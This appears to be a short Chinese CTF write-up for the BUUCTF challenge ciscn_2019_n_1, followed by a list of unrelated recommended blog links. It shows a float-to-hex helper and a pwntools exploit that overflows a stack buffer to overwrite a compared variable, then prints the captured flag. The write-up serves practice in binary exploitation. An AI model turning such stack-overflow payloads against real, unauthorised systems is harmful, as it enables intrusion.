pwn学习(4)BUUCTF-ciscn_2019_n_1(浮点数转十六进制脚本积累)

checksec一下

IDA打开,如果满足的条件达成,就可以get flag

找到栈溢出漏洞,输入可以覆盖到v2

将代码11.28125在内存中的十六进制表示出来,

浮点数转十六进制代码如下:

复制代码
import struct

def float_to_hex(f):
    return hex(struct.unpack('<I',struct.pack('<f',f))[0])
print(float_to_hex(11.28125))
#output(0x41348000)

exp:

复制代码
from pwn import *

p=remote('node4.buuoj.cn',25860)

payload=b'a'*(0x30-0x4)+p32(0x41348000)
p.sendline(payload)

p.interactive()

运行出来的结果:

flag{8a5e8279-51a2-4b3b-8959-4d3f9b19227f}
总结:

脚本积累:浮点数转十六进制代码

相关推荐
派大鑫wink14 分钟前
纯前端实现软考中级·软件设计师备考学习网站
前端·学习
smartpi_ai41 分钟前
51 单片机写好了,大模型语音怎么接?17T 全驱动的现成方案、双板串口分工的边界与画板前的三项硬件确认
单片机·嵌入式硬件·学习
辣知2 小时前
辣知·化智82 人类文明演化规律文化传承
学习
小雪崩4 小时前
嵌入式学习:Linux驱动开发总结
linux·驱动开发·学习
keyipatience5 小时前
JS学习笔记(2)数组,函数,作用域,对象
前端·javascript·笔记·学习·html
你想知道什么?5 小时前
词向量总结-学习笔记
人工智能·笔记·学习
yangmu32035 小时前
开发网站的完整流程:从0到1上线指南
运维·学习
hackchen6 小时前
LangChain 学习第 2 课 - 提示词模板(Prompt Template)
学习·langchain·prompt
Awh-7 小时前
ARM 裸机开发 DAY10 学习笔记
arm开发·笔记·学习
我命由我123457 小时前
动火作业极简理解
学习·职场和发展·产品运营·求职招聘·职场发展·产品经理·学习方法